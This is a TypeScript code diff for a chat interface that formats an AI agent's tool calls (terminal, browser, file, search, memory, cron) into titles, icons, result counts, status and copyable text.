+  const lineLabel = readFileLineLabel(args, result)
+
+  return [fileEditBasename(path), lineLabel].filter(Boolean).join(' ')
+}
+
+// The real command, preferring the actual argument over the backend's
+// display preview. `context` is a *summarized* preview ("sleep 70 + 2
+// commands") the gateway sends on tool.start before real args arrive — fine
+// as a placeholder for the live title, wrong for the `$` transcript, which
+// must show what actually ran.
+function shellCommand(args: Record<string, unknown>): string {
+  return (
+    firstStringField(args, ['command', 'code']) || firstStringField(args, ['context', 'preview']) || contextValue(args)
+  )
+}
+
+const TOOL_META: Record<ToolTitleKey, ToolMetaSpec> = {
+  browser_click: {
+    icon: 'globe',
+    tone: 'browser'
+  },
+  browser_fill: {
+    icon: 'globe',
+    tone: 'browser'
+  },
+  browser_navigate: {
+    icon: 'globe',
+    tone: 'browser'
+  },
+  browser_snapshot: {
+    icon: 'globe',
+    tone: 'browser'
+  },
+  browser_take_screenshot: {
+    icon: 'file-media',
+    tone: 'browser'
+  },
+  browser_type: {
+    icon: 'globe',
+    tone: 'browser'
+  },
+  clarify: {
+    icon: 'question',
+    tone: 'agent'
+  },
+  cronjob: {
+    icon: 'watch',
+    tone: 'agent'
+  },
+  edit_file: { icon: 'edit', tone: 'file' },
+  execute_code: {
+    icon: 'terminal',
+    tone: 'terminal'
+  },
+  image_generate: {
+    icon: 'file-media',
+    tone: 'image'
+  },
+  list_files: {
+    icon: 'files',
+    tone: 'file'
+  },
+  memory: {
+    icon: 'brain',
+    tone: 'agent'
+  },
+  patch: { icon: 'edit', tone: 'file' },
+  read_file: { icon: 'file', tone: 'file' },
+  search_files: {
+    icon: 'search',
+    tone: 'file'
+  },
+  session_search_recall: {
+    icon: 'search',
+    tone: 'agent'
+  },
+  terminal: {
+    icon: 'terminal',
+    tone: 'terminal'
+  },
+  todo: { icon: 'tools', tone: 'agent' },
+  vision_analyze: {
+    icon: 'eye',
+    tone: 'image'
+  },
+  web_extract: { icon: 'globe', tone: 'web' },
+  web_search: { icon: 'search', tone: 'web' },
+  write_file: { icon: 'edit', tone: 'file' }
+}
+
+function isToolTitleKey(name: string): name is ToolTitleKey {
+  return name in TOOL_META
+}
+
+const INLINE_CODE_SPLIT_RE = /(`[^`\n]+`)/g
+const CITATION_MARKER_RE = /(?<=[\p{L}\p{N})\].,!?:;"'”’])\[(?:\d+(?:\s*,\s*\d+)*)\](?!\()/gu
+const BACKTICK_NOISE_RE = /`{3,}/g
+
+export const selectMessageRunning = (state: MessageRunningStateSlice) =>
+  state.thread.isRunning && state.message.status?.type === 'running'
+
+function titleForTool(name: string): string {
+  const normalized = name.replace(/^browser_/, '').replace(/^web_/, '')
+
+  return normalized.split('_').filter(Boolean).map(capitalize).join(' ') || name
+}
+
+const PREFIX_META: { icon?: string; labelKey: string; prefix: string; tone: ToolTone }[] = [
+  { prefix: 'browser_', labelKey: 'browser', icon: 'globe', tone: 'browser' },
+  { prefix: 'web_', labelKey: 'web', icon: 'globe', tone: 'web' }
+]
+
+function toolMeta(name: string): ToolMeta {
+  if (isToolTitleKey(name)) {
+    const meta = TOOL_META[name]
+
+    return {
+      done: translateNow(`assistant.tool.titles.${name}.done`),
+      pending: translateNow(`assistant.tool.titles.${name}.pending`),
+      pendingAction: translateNow(`assistant.tool.titles.${name}.pendingAction`),
+      icon: meta.icon,
+      tone: meta.tone
+    }
+  }
+
+  const action = titleForTool(name)
+  const prefix = PREFIX_META.find(p => name.startsWith(p.prefix))
+
+  if (prefix) {
+    const prefixLabel = translateNow(`assistant.tool.prefixes.${prefix.labelKey}`)
+
+    return {
+      done: translateNow('assistant.tool.titleTemplates.prefixedDone', prefixLabel, action),
+      pending: translateNow('assistant.tool.titleTemplates.runningPrefixedTool', prefixLabel, action),
+      pendingAction: translateNow('assistant.tool.actions.running'),
+      icon: prefix.icon,
+      tone: prefix.tone
+    }
+  }
+
+  return {
+    done: action,
+    pending: translateNow('assistant.tool.titleTemplates.runningTool', action),
+    pendingAction: translateNow('assistant.tool.actions.running'),
+    tone: 'default'
+  }
+}
+
+const COUNT_FIELD_KEYS = [
+  'count',
+  'total',
+  'result_count',
+  'results_count',
+  'num_results',
+  'match_count',
+  'matches_count',
+  'file_count',
+  'files_count',
+  'item_count',
+  'items_count',
+  'search_count',
+  'searches_count',
+  'source_count',
+  'sources_count',
+  'document_count',
+  'documents_count',
+  'updated',
+  'added',
+  'removed',
+  'deleted',
+  'created',
+  'changed',
+  'processed',
+  'steps'
+] as const
+
+const COUNT_ARRAY_KEYS = ['results', 'items', 'matches', 'files', 'documents', 'sources', 'rows'] as const
+
+const COUNT_EXCLUDED_KEYS = new Set(['duration_s', 'exit_code', 'status_code'])
+
+const COUNT_NOUN_BY_FIELD: Partial<Record<(typeof COUNT_FIELD_KEYS)[number], string>> = {
+  count: '',
+  total: '',
+  result_count: 'result',
+  results_count: 'result',
+  num_results: 'result',
+  match_count: 'match',
+  matches_count: 'match',
+  file_count: 'file',
+  files_count: 'file',
+  item_count: 'item',
+  items_count: 'item',
+  search_count: 'search',
+  searches_count: 'search',
+  source_count: 'source',
+  sources_count: 'source',
+  document_count: 'document',
+  documents_count: 'document',
+  updated: 'item',
+  added: 'item',
+  removed: 'item',
+  deleted: 'item',
+  created: 'item',
+  changed: 'item',
+  processed: 'item',
+  steps: 'step'
+}
+
+const COUNT_NOUN_BY_ARRAY: Record<(typeof COUNT_ARRAY_KEYS)[number], string> = {
+  documents: 'document',
+  files: 'file',
+  items: 'item',
+  matches: 'match',
+  results: 'result',
+  rows: 'row',
+  sources: 'source'
+}
+
+const DEFAULT_COUNT_NOUN_BY_TOOL: Record<string, string> = {
+  browser_snapshot: 'item',
+  list_files: 'file',
+  search_files: 'result',
+  session_search_recall: 'result',
+  todo: 'todo',
+  web_search: 'result'
+}
+
+function countFromUnknown(value: unknown): null | number {
+  if (Array.isArray(value)) {
+    return value.length > 0 ? value.length : null
+  }
+
+  const n = numberValue(value)
+
+  if (n === null || n <= 0) {
+    return null
+  }
+
+  return Math.round(n)
+}
+
+function singularizeNoun(noun: string): string {
+  const normalized = normalize(noun)
+
+  if (!normalized) {
+    return ''
+  }
+
+  if (normalized.endsWith('ies') && normalized.length > 3) {
+    return `${normalized.slice(0, -3)}y`
+  }
+
+  if (/(xes|zes|ches|shes|sses)$/.test(normalized) && normalized.length > 3) {
+    return normalized.slice(0, -2)
+  }
+
+  if (normalized.endsWith('s') && normalized.length > 2 && !normalized.endsWith('ss')) {
+    return normalized.slice(0, -1)
+  }
+
+  return normalized
+}
+
+function pluralizeNoun(noun: string, count: number): string {
+  if (count === 1) {
+    return noun
+  }
+
+  if (noun === 'search') {
+    return 'searches'
+  }
+
+  if (noun.endsWith('y') && noun.length > 1 && !/[aeiou]y$/i.test(noun)) {
+    return `${noun.slice(0, -1)}ies`
+  }
+
+  if (/(s|x|z|ch|sh)$/i.test(noun)) {
+    return `${noun}es`
+  }
+
+  return `${noun}s`
+}
+
+function formatCountLabel(metric: CountMetric): string {
+  return `${metric.count} ${pluralizeNoun(metric.noun, metric.count)}`
+}
+
+function countMetric(count: number, noun: string): CountMetric {
+  return { count, noun: singularizeNoun(noun) || 'item' }
+}
+
+function normalizeMetricForTool(toolName: string, metric: CountMetric): CountMetric {
+  if (toolName === 'web_search') {
+    return countMetric(metric.count, 'result')
+  }
+
+  return metric
+}
+
+function fallbackCountNoun(toolName: string): string {
+  return DEFAULT_COUNT_NOUN_BY_TOOL[toolName] || 'item'
+}
+
+function dynamicCountNounFromKey(key: string, fallbackNoun: string): string {
+  const normalized = key.toLowerCase()
+
+  if (normalized === 'count' || normalized === 'total') {
+    return fallbackNoun
+  }
+
+  const stripped = normalized.replace(/_(count|total)$/i, '').replace(/^num_/, '')
+
+  return singularizeNoun(stripped) || fallbackNoun
+}
+
+function countFromRecord(record: Record<string, unknown>, fallbackNoun: string): CountMetric | null {
+  for (const key of COUNT_FIELD_KEYS) {
+    const value = record[key]
+    const count = countFromUnknown(value)
+
+    if (count !== null) {
+      return countMetric(count, COUNT_NOUN_BY_FIELD[key] || fallbackNoun)
+    }
+  }
+
+  for (const key of COUNT_ARRAY_KEYS) {
+    const value = record[key]
+    const count = countFromUnknown(value)
+
+    if (count !== null) {
+      return countMetric(count, COUNT_NOUN_BY_ARRAY[key] || fallbackNoun)
+    }
+  }
+
+  for (const [key, value] of Object.entries(record)) {
+    if (COUNT_EXCLUDED_KEYS.has(key)) {
+      continue
+    }
+
+    if (!/_count$|_total$/i.test(key)) {
+      continue
+    }
+
+    const count = countFromUnknown(value)
+
+    if (count !== null) {
+      return countMetric(count, dynamicCountNounFromKey(key, fallbackNoun))
+    }
+  }
+
+  return null
+}
+
+function countFromText(value: string, fallbackNoun: string): CountMetric | null {
+  const text = value.trim()
+
+  if (!text) {
+    return null
+  }
+
+  const unitMatch =
+    text.match(/\b(\d+)\s+(results?|items?|files?|matches?|documents?|sources?|searches?|steps?|rows?)\b/i) ||
+    text.match(/\b(?:did|found|returned|listed|searched|matched|updated|created|deleted|processed)\s+(\d+)\b/i)
+
+  if (unitMatch?.[1]) {
+    const n = Number(unitMatch[1])
+    const noun = unitMatch[2] ? singularizeNoun(unitMatch[2]) : fallbackNoun
+
+    return Number.isFinite(n) && n > 0 ? countMetric(Math.round(n), noun) : null
+  }
+
+  return null
+}
+
+function toolResultCount(
+  part: ToolPart,
+  argsRecord: Record<string, unknown>,
+  resultRecord: Record<string, unknown>
+): CountMetric | null {
+  if (part.result === undefined) {
+    return null
+  }
+
+  const fallbackNounByTool = fallbackCountNoun(part.toolName)
+
+  if (part.toolName === 'web_search') {
+    const hits = collectResultItems(part.result)
+
+    if (hits.length) {
+      return countMetric(hits.length, 'result')
+    }
+  }
+
+  // Memory success payloads put the live total on `entry_count` — keep the noun
+  // as entry/entries instead of falling through the generic `*_count` path.
+  if (part.toolName === 'memory') {
+    const entryTotal = countFromUnknown(resultRecord.entry_count)
+
+    if (entryTotal !== null) {
+      return countMetric(entryTotal, 'entry')
+    }
+  }
+
+  const directCount = countFromRecord(resultRecord, fallbackNounByTool)
+
+  if (directCount !== null) {
+    return normalizeMetricForTool(part.toolName, directCount)
+  }
+
+  const payload = unwrapToolPayload(part.result)
+
+  if (isRecord(payload)) {
+    const payloadCount = countFromRecord(payload, fallbackNounByTool)
+
+    if (payloadCount !== null) {
+      return normalizeMetricForTool(part.toolName, payloadCount)
+    }
+  }
+
+  const summaryText =
+    firstStringField(resultRecord, ['summary', 'message', 'detail']) || fallbackDetailText(argsRecord, resultRecord)
+
+  const textMetric = countFromText(summaryText, fallbackNounByTool)
+
+  return textMetric ? normalizeMetricForTool(part.toolName, textMetric) : null
+}
+
+export function looksRedundant(title: string, detail: string): boolean {
+  if (!detail) {
+    return true
+  }
+
+  const norm = (input: string) => input.toLowerCase().replace(/\s+/g, ' ').trim()
+
+  return norm(title) === norm(detail)
+}
+
+export function cleanVisibleText(text: string): string {
+  return text
+    .split(INLINE_CODE_SPLIT_RE)
+    .map(part =>
+      part.startsWith('`')
+        ? part
+        : part
+            .replace(BACKTICK_NOISE_RE, '')
+            .replace(CITATION_MARKER_RE, '')
+            .replace(/\[([^\]]+)\]\(([^)\s]+)\)/g, (_match, label: string, href: string) => {
+              const normalized = normalizeExternalUrl(href)
+
+              return `${label} ${normalized}`
+            })
+    )
+    .join('')
+}
+
+function summarizeBrowserSnapshot(snapshot: string): string {
+  const count = (re: RegExp) => snapshot.match(re)?.length ?? 0
+
+  const stats = [
+    `${count(/button\s+"[^"]+"/g)} buttons`,
+    `${count(/link\s+"[^"]+"/g)} links`,
+    `${count(/(?:textbox|combobox|searchbox)\s+"[^"]+"/g)} inputs`
+  ].join(' · ')
+
+  const labels = Array.from(snapshot.matchAll(/(?:button|link|combobox|textbox)\s+"([^"]+)"/g))
+    .map(m => m[1].trim())
+    .filter(Boolean)
+    .slice(0, 4)
+
+  return labels.length ? `${stats}\nTop controls: ${labels.join(', ')}` : stats
+}
+
+export function firstStringField(record: Record<string, unknown>, keys: readonly string[]): string {
+  for (const key of keys) {
+    const value = record[key]
+
+    if (typeof value === 'string' && value.trim()) {
+      return value.trim()
+    }
+  }
+
+  return ''
+}
+
+function collectResultItems(value: unknown): unknown[] {
+  if (Array.isArray(value)) {
+    return value
+  }
+
+  const record = parseMaybeObject(value)
+
+  for (const key of [
+    'web',
+    'results',
+    'search_results',
+    'sources',
+    'web_sources',
+    'items',
+    'organic_results',
+    'organic',
+    'matches',
+    'documents'
+  ]) {
+    const candidate = record[key]
+
+    if (Array.isArray(candidate)) {
+      return candidate
+    }
+
+    if (isRecord(candidate)) {
+      const nested = collectResultItems(candidate)
+
+      if (nested.length) {
+        return nested
+      }
+    }
+  }
+
+  const payload = unwrapToolPayload(record)
+
+  return payload === record ? [] : collectResultItems(payload)
+}
+
+function extractSearchResults(result: unknown, limit = 6): SearchResultRow[] {
+  const list = collectResultItems(result)
+
+  return list
+    .map(item => {
+      const r = parseMaybeObject(item)
+
+      return {
+        title: cleanVisibleText(firstStringField(r, ['title', 'name'])),
+        url: firstStringField(r, ['url', 'href', 'link']),
+        snippet: cleanVisibleText(firstStringField(r, ['snippet', 'description', 'body']))
+      }
+    })
+    .filter(hit => hit.title || hit.url)
+    .slice(0, limit)
+}
+
+function toolErrorText(part: ToolPart, result: Record<string, unknown>): string {
+  const extractedError = extractToolErrorMessage(part.result)
+
+  if (part.isError) {
+    return extractedError || (typeof part.result === 'string' && part.result.trim()) || 'Tool returned an error.'
+  }
+
+  if (typeof result.error === 'string' && result.error.trim()) {
+    return result.error.trim()
+  }
+
+  if (extractedError) {
+    return extractedError
+  }
+
+  if (result.success === false || result.ok === false) {
+    return firstStringField(result, ['message', 'reason', 'detail']) || 'Tool returned success=false.'
+  }
+
+  if (typeof result.status === 'string' && /\b(error|failed|failure)\b/i.test(result.status)) {
+    return firstStringField(result, ['message', 'reason', 'detail']) || `Tool returned status "${result.status}".`
+  }
+
+  // A non-zero exit code alone is a weak failure signal: grep returns 1 on
+  // no-match, diff returns 1 on differences, piped commands surface the last
+  // stage's code, etc. — all routinely produce useful output and aren't
+  // failures. Only treat it as an error when the command produced no real
+  // output to show; otherwise render the output normally (not red).
+  // `output_preview` counts as output: background-process polls report their
+  // text under that name, so omitting it painted healthy `process` rows red.
+  const exit = numberValue(result.exit_code)
+
+  if (exit !== null && exit !== 0) {
+    const hasOutput = Boolean(firstStringField(result, ['output', 'stdout', 'stderr', 'output_preview'])?.trim())
+
+    return hasOutput ? '' : `Command failed with exit code ${exit}.`
+  }
+
+  return ''
+}
+
+function toolStatus(part: ToolPart, resultRecord: Record<string, unknown>): ToolStatus {
+  if (part.result === undefined) {
+    return 'running'
+  }
+
+  // Explicit success wins over isError / nested-error heuristics. Memory writes
+  // return `{ success: true }` when the batch landed; a stale outer `isError`
+  // envelope must not paint a real save amber.
+  if (resultRecord.success === true || resultRecord.ok === true) {
+    return 'success'
+  }
+
+  if (!toolErrorText(part, resultRecord)) {
+    return 'success'
+  }
+
+  // A rejected memory write is a budget negotiation, not a failure: the store
+  // refuses an over-limit batch and the agent retries smaller. Soft warning —
+  // never destructive-red beside routine bookkeeping.
+  return part.toolName === 'memory' ? 'warning' : 'error'
+}
+
+function durationLabel(resultRecord: Record<string, unknown>): string | undefined {
+  const seconds = numberValue(resultRecord.duration_s)
+
+  if (seconds === null || seconds < 0) {
+    return undefined
+  }
+
+  return formatDurationSeconds(seconds)
+}
+
+function toolPreviewTarget(toolName: string, args: Record<string, unknown>, result: Record<string, unknown>): string {
+  const direct =
+    firstStringField(result, ['preview', 'url', 'target']) ||
+    firstStringField(args, ['preview', 'url', 'target', 'path', 'file', 'filepath']) ||
+    firstStringField(result, ['path', 'file', 'filepath'])
+
+  if (direct && (looksLikeUrl(direct) || looksLikePath(direct))) {
+    return direct
+  }
+
+  if (toolName === 'browser_navigate' || toolName === 'web_extract' || toolName === 'web_search') {
+    const explicit = firstStringField(args, ['url', 'search_term', 'query']) || firstStringField(result, ['url'])
+
+    return looksLikeUrl(explicit) ? explicit : findFirstUrl(args, result)
+  }
+
+  if (isFileEditTool(toolName)) {
+    return htmlPathFromInlineDiff(firstStringField(result, ['inline_diff', 'diff']))
+  }
+
+  return ''
+}
+
+function toolImageUrl(args: Record<string, unknown>, result: Record<string, unknown>): string {
+  const candidate =
+    firstStringField(result, ['image_url', 'url', 'path', 'image_path']) ||
+    firstStringField(args, ['image_url', 'url', 'path'])
+
+  if (!candidate) {
+    return ''
+  }
+
+  // Only inline-render images the renderer can actually fetch: data URLs or
+  // remote http(s). A bare filesystem path (e.g. vision_analyze's input image)
+  // resolves against the dev-server origin and 404s — fall back to the tool's
+  // codicon instead of a broken <img>.
+  const isDataImage = candidate.toLowerCase().startsWith('data:image/')
+  const isRemoteImage = /^https?:\/\//i.test(candidate) && /\.(png|jpe?g|gif|webp|bmp|svg)(\?|#|$)/i.test(candidate)
+
+  return isDataImage || isRemoteImage ? candidate : ''
+}
+
+function stripAnsi(value: string): string {
+  return value.replace(new RegExp(`${String.fromCharCode(27)}\\[[0-9;]*m`, 'g'), '')
+}
+
+export function stripInlineDiffChrome(value: string): string {
+  return value
+    ? stripAnsi(value)
+        .replace(/^\s*┊\s*review diff\s*\n/i, '')
+        .trim()
+    : ''
+}
+
+function htmlPathFromInlineDiff(value: string): string {
+  const cleaned = stripInlineDiffChrome(value)
+
+  for (const match of cleaned.matchAll(/(?:^|\s)(?:[ab]\/)?([^\s]+\.html?)(?=\s|$)/gi)) {
+    const candidate = match[1]?.trim()
+
+    if (candidate) {
+      return candidate
+    }
+  }
+
+  return ''
+}
+
+function stripDividerLines(value: string): string {
+  return value
+    .split('\n')
+    .filter(line => !/^[-=]{3,}\s*$/.test(line.trim()))
+    .join('\n')
+    .trim()
+}
+
+export function inlineDiffFromResult(result: unknown): string {
+  const record = parseMaybeObject(result)
+
+  for (const key of ['inline_diff', 'diff']) {
+    const value = record[key]
+
+    if (typeof value === 'string' && value.trim()) {
+      return stripInlineDiffChrome(value)
+    }
+  }
+
+  return ''
+}
+
+// Falls back to a string only when there's something concrete to render —
+// counts of opaque items/fields are noise, not signal.
+function minimalValueSummary(value: unknown): string {
+  if (value == null) {
+    return ''
+  }
+
+  if (typeof value === 'string') {
+    return value
+  }
+
+  if (typeof value === 'number' || typeof value === 'boolean') {
+    return String(value)
+  }
+
+  return ''
+}
+
+function fallbackDetailText(args: unknown, result: unknown): string {
+  const argContext = contextValue(args)
+  const resultContext = contextValue(result)
+
+  if (resultContext && resultContext !== argContext) {
+    return resultContext
+  }
+
+  if (argContext) {
+    return argContext
+  }
+
+  if (result !== undefined) {
+    return formatToolResultSummary(result) || minimalValueSummary(result)
+  }
+
+  return formatToolResultSummary(args) || minimalValueSummary(args)
+}
+
+function cronScalar(value: unknown): string {
+  if (typeof value === 'string') {
+    return value.trim()
+  }
+
+  if (typeof value === 'number' && Number.isFinite(value)) {
+    return String(value)
+  }
+
+  return ''
+}
+
+function formatCronTime(iso: string): string {
+  const ts = Date.parse(iso)
+
+  if (Number.isNaN(ts)) {
+    return iso
+  }
+
+  return new Date(ts).toLocaleString(undefined, {
+    month: 'short',
+    day: 'numeric',
+    hour: '2-digit',
+    minute: '2-digit'
+  })
+}
+
+function cronjobSubtitle(argsRecord: Record<string, unknown>, resultRecord: Record<string, unknown>): string {
+  const jobs = Array.isArray(resultRecord.jobs) ? resultRecord.jobs : null
+
+  if (jobs) {
+    return jobs.length ? `${jobs.length} cron job${jobs.length === 1 ? '' : 's'}` : 'No cron jobs'
+  }
+
+  const message = firstStringField(resultRecord, ['message'])
+
+  if (message) {
+    return message
+  }
+
+  const action = firstStringField(argsRecord, ['action']) || 'manage'
+  const name = firstStringField(resultRecord, ['name']) || firstStringField(argsRecord, ['name', 'job_id'])
+  const label = capitalize(action)
+
+  return name ? `${label} ${name}` : `Cron ${action}`
+}
+
+function cronjobDetail(argsRecord: Record<string, unknown>, resultRecord: Record<string, unknown>): string {
+  const jobs = Array.isArray(resultRecord.jobs) ? resultRecord.jobs : null
+
+  if (jobs) {
+    if (!jobs.length) {
+      return 'No cron jobs scheduled'
+    }
+
+    return jobs
+      .slice(0, 20)
+      .map(job => {
+        const row = isRecord(job) ? job : {}
+        const name = firstStringField(row, ['name', 'id']) || 'job'
+        const sched = firstStringField(row, ['schedule_display', 'schedule'])
+
+        return sched ? `- ${name} · ${sched}` : `- ${name}`
+      })
+      .join('\n')
+  }
+
+  const nextRun = cronScalar(resultRecord.next_run_at)
+
+  const rows: [string, string][] = [
+    ['Schedule', cronScalar(resultRecord.schedule)],
+    ['Repeat', cronScalar(resultRecord.repeat)],
+    ['Delivery', cronScalar(resultRecord.deliver)],
+    ['Next run', nextRun ? formatCronTime(nextRun) : '']
+  ]
+
+  const lines = rows.filter(([, value]) => value).map(([key, value]) => `${key}: ${value}`)
+
+  return lines.length ? lines.join('\n') : fallbackDetailText(argsRecord, resultRecord)
+}
+
+function toolSubtitle(
+  part: ToolPart,
+  argsRecord: Record<string, unknown>,
+  resultRecord: Record<string, unknown>
+): string {
+  const toolName = part.toolName
+
+  if (toolName === 'browser_navigate') {
+    const url =
+      firstStringField(argsRecord, ['url', 'target']) ||
+      firstStringField(resultRecord, ['url']) ||
+      findFirstUrl(argsRecord, resultRecord)
+
+    return url ? hostnameOf(url) : 'Navigated in browser'
+  }
+
+  if (toolName === 'browser_snapshot') {
+    const snapshot = firstStringField(resultRecord, ['snapshot'])
+
+    return snapshot ? summarizeBrowserSnapshot(snapshot) : 'Captured a browser accessibility snapshot'
+  }
+
+  if (toolName === 'browser_click') {
+    const clicked = firstStringField(resultRecord, ['clicked']) || firstStringField(argsRecord, ['ref', 'target'])
+
+    if (!clicked) {
+      return 'Clicked on page'
+    }
+
+    return clicked.startsWith('@') ? `Clicked page element (internal ref ${clicked})` : `Clicked ${clicked}`
+  }
+
+  if (toolName === 'browser_fill' || toolName === 'browser_type') {
+    const field = firstStringField(argsRecord, ['label', 'field', 'ref', 'target'])
+    const value = firstStringField(argsRecord, ['value', 'text'])
+
+    return (
+      [field && `Field: ${field}`, value && `Value: ${compactPreview(value, 42)}`].filter(Boolean).join(' · ') ||
+      'Filled page input'
+    )
+  }
+
+  if (toolName === 'web_search') {
+    const query = firstStringField(argsRecord, ['search_term', 'query']) || contextValue(argsRecord)
+
+    return query ? `Query: ${query}` : 'Queried web sources'
+  }
+
+  if (toolName === 'terminal' || toolName === 'execute_code') {
+    const output = firstStringField(resultRecord, ['output', 'stdout', 'stderr'])
+
+    const lines = Array.isArray(resultRecord.lines)
+      ? resultRecord.lines.filter((line): line is string => typeof line === 'string').join('\n')
+      : ''
+
+    const previewSource = (output || lines).trim()
+
+    if (previewSource) {
+      const firstMeaningfulLine = previewSource
+        .split('\n')
+        .map(line => line.trim())
+        .find(line => line.length > 0)
+
+      if (firstMeaningfulLine) {
+        return compactPreview(firstMeaningfulLine, 160)
+      }
+    }
+
+    const command = firstStringField(argsRecord, ['context', 'preview', 'command', 'code']) || contextValue(argsRecord)
+
+    return command ? '' : 'Executed command'
+  }
+
+  if (toolName === 'read_file' || isFileEditTool(toolName)) {
+    const isEdit = isFileEditTool(toolName)
+
+    const path = isEdit
+      ? fileEditPath(argsRecord, resultRecord)
+      : firstStringField(argsRecord, ['path', 'file', 'filepath'])
+
+    if (path) {
+      return path
+    }
+
+    if (!isEdit) {
+      return fallbackDetailText(argsRecord, resultRecord)
+    }
+
+    return inlineDiffFromResult(resultRecord) ? 'Changed file' : ''
+  }
+
+  if (toolName === 'web_extract') {
+    const url =
+      firstStringField(argsRecord, ['url']) ||
+      firstStringField(resultRecord, ['url']) ||
+      findFirstUrl(argsRecord, resultRecord)
+
+    return url ? hostnameOf(url) : 'Fetched webpage'
+  }
+
+  if (toolName === 'memory') {
+    // The raw payload is bookkeeping the user never needs: usage counters, a
+    // note telling the model not to retry, and the full operations array. The
+    // human-readable line is the only part worth showing.
+    return firstStringField(resultRecord, ['message', 'error'])
+  }
+
+  if (toolName === 'cronjob') {
+    return cronjobSubtitle(argsRecord, resultRecord)
+  }
+
+  return (
+    compactPreview(formatToolResultSummary(part.result), 120) ||
+    compactPreview(resultRecord, 120) ||
+    compactPreview(argsRecord, 120) ||
+    fallbackDetailText(argsRecord, resultRecord)
+  )
+}
+
+function toolDetailLabel(toolName: string): string {
+  if (toolName === 'web_search') {
+    return 'Details'
+  }
+
+  if (toolName === 'browser_snapshot') {
+    return 'Snapshot summary'
+  }
+
+  return ''
+}
+
+function toolDetailText(
+  part: ToolPart,
+  argsRecord: Record<string, unknown>,
+  resultRecord: Record<string, unknown>
+): string {
+  if (part.toolName === 'browser_snapshot') {
+    const snapshot = firstStringField(resultRecord, ['snapshot'])
+
+    return snapshot ? summarizeBrowserSnapshot(snapshot) : fallbackDetailText(argsRecord, resultRecord)
+  }
+
+  if (part.toolName === 'terminal' || part.toolName === 'execute_code') {
+    // Streams are split out into ToolView.stdout / ToolView.stderr by
+    // buildToolView so the renderer can label them separately. The merged
+    // fallback here is only used when the backend doesn't expose either
+    // stream individually.
+    const output = firstStringField(resultRecord, ['output', 'stdout', 'stderr'])
+
+    const lines = Array.isArray(resultRecord.lines)
+      ? resultRecord.lines.filter((line): line is string => typeof line === 'string').join('\n')
+      : ''
+
+    if (output || lines) {
+      return [output, lines].filter(Boolean).join('\n')
+    }
+
+    // A terminal row with no output already shows its command in the `$`
+    // transcript above; the generic fallback would print the same string a
+    // second time. `execute_code` has no transcript, so it keeps the fallback.
+    if (part.toolName === 'terminal') {
+      return ''
+    }
+  }
+
+  if (part.toolName === 'web_extract') {
+    const direct = firstStringField(resultRecord, ['content', 'text', 'markdown', 'body', 'summary', 'message'])
+
+    if (direct) {
+      return direct.replace(/\s*in\s+\d+(?:\.\d+)?s\s*$/i, '').trim()
+    }
+
+    const results = Array.isArray(resultRecord.results) ? resultRecord.results : []
+
+    const aggregated = results
+      .map(item => {
+        const row = parseMaybeObject(item)
+
+        return firstStringField(row, ['content', 'text', 'markdown', 'body'])
+      })
+      .filter(Boolean)
+      .join('\n\n---\n\n')
+
+    if (aggregated) {
+      return aggregated
+    }
+  }
+
+  if (part.toolName === 'read_file' && part.result !== undefined) {
+    const content = firstStringField(resultRecord, ['content', 'text', 'data', 'body'])
+
+    if (content) {
+      return content
+    }
+  }
+
+  if (part.toolName === 'memory') {
+    // Same reasoning as toolSubtitle: without this the generic fallback dumps
+    // the whole args + result payload into the expanded row.
+    return firstStringField(resultRecord, ['message', 'error'])
+  }
+
+  if (isFileEditTool(part.toolName)) {
+    if (inlineDiffFromResult(part.result)) {
+      return ''
+    }
+
+    const summary = firstStringField(resultRecord, ['message', 'summary'])
+
+    if (summary) {
+      return summary
+    }
+
+    if (fileEditPath(argsRecord, resultRecord)) {
+      return ''
+    }
+
+    return fallbackDetailText(argsRecord, resultRecord)
+  }
+
+  if (part.toolName === 'web_search') {
+    const detail = fallbackDetailText(argsRecord, resultRecord)
+    const seconds = numberValue(resultRecord.duration_s)
+    const duration = seconds === null ? '' : formatDurationSeconds(seconds)
+
+    if (!duration) {
+      return detail
+    }
+
+    return detail
+      .replace(/^\s*-\s*Duration\s+S\s*:\s*[-+]?[\d.]+(?:e[-+]?\d+)?\s*$/gim, `- Duration: ${duration}`)
+      .replace(/\bDuration\s+S\s*:/gi, 'Duration:')
+  }
+
+  if (part.toolName === 'cronjob') {
+    return cronjobDetail(argsRecord, resultRecord)
+  }
+
+  return fallbackDetailText(argsRecord, resultRecord)
+}
+
+export function toolCopyPayload(part: ToolPart, view: ToolView): { label: string; text: string } {
+  const copy = {
+    command: translateNow('assistant.tool.copyCommand'),
+    content: translateNow('assistant.tool.copyContent'),
+    file: translateNow('assistant.tool.copyFile'),
+    output: translateNow('assistant.tool.copyOutput'),
+    path: translateNow('assistant.tool.copyPath'),
+    query: translateNow('assistant.tool.copyQuery'),
+    results: translateNow('assistant.tool.copyResults'),
+    url: translateNow('assistant.tool.copyUrl'),
+    generic: translateNow('common.copy')
+  }
+
+  const args = parseMaybeObject(part.args)
+  const result = parseMaybeObject(part.result)
+  const detail = view.detail.trim()
+  const hasSubstantialOutput = detail.length > 16
+
+  if (part.toolName === 'terminal' || part.toolName === 'execute_code') {
+    if (hasSubstantialOutput) {
+      return { label: copy.output, text: detail }
+    }
+
+    const command = firstStringField(args, ['command', 'code']) || contextValue(args)
+
+    if (command) {
+      return { label: copy.command, text: command }
+    }
+  }
+
+  if (part.toolName === 'web_extract') {
+    if (hasSubstantialOutput) {
+      return { label: copy.content, text: detail }
+    }
+
+    const url = firstStringField(args, ['url', 'target']) || findFirstUrl(args, result)
+
+    if (url) {
+      return { label: copy.url, text: url }
+    }
+  }
+
+  if (part.toolName === 'browser_navigate') {
+    const url = firstStringField(args, ['url', 'target']) || findFirstUrl(args, result)
+
+    if (url) {
+      return { label: copy.url, text: url }
+    }
+  }
+
+  if (part.toolName === 'web_search') {
+    if (view.searchHits?.length) {
+      const text = view.searchHits.map(hit => [hit.title, hit.url, hit.snippet].filter(Boolean).join('\n')).join('\n\n')
+
+      return { label: copy.results, text }
+    }
+
+    const query = firstStringField(args, ['search_term', 'query']) || contextValue(args)
+
+    if (query) {
+      return { label: copy.query, text: query }
+    }
+  }
+
+  if (part.toolName === 'read_file' && part.result !== undefined) {
+    if (hasSubstantialOutput) {
+      return { label: copy.file, text: detail }
+    }
+
+    const path = firstStringField(args, ['path', 'file', 'filepath'])
+
+    if (path) {
+      return { label: copy.path, text: path }
+    }
+  }
+
+  if (isFileEditTool(part.toolName)) {
+    if (view.inlineDiff.trim()) {
+      return { label: copy.file, text: view.inlineDiff }
+    }
+
+    const path = fileEditPath(args, result)
+
+    if (path) {
+      return { label: copy.path, text: path }
+    }
+  }
+
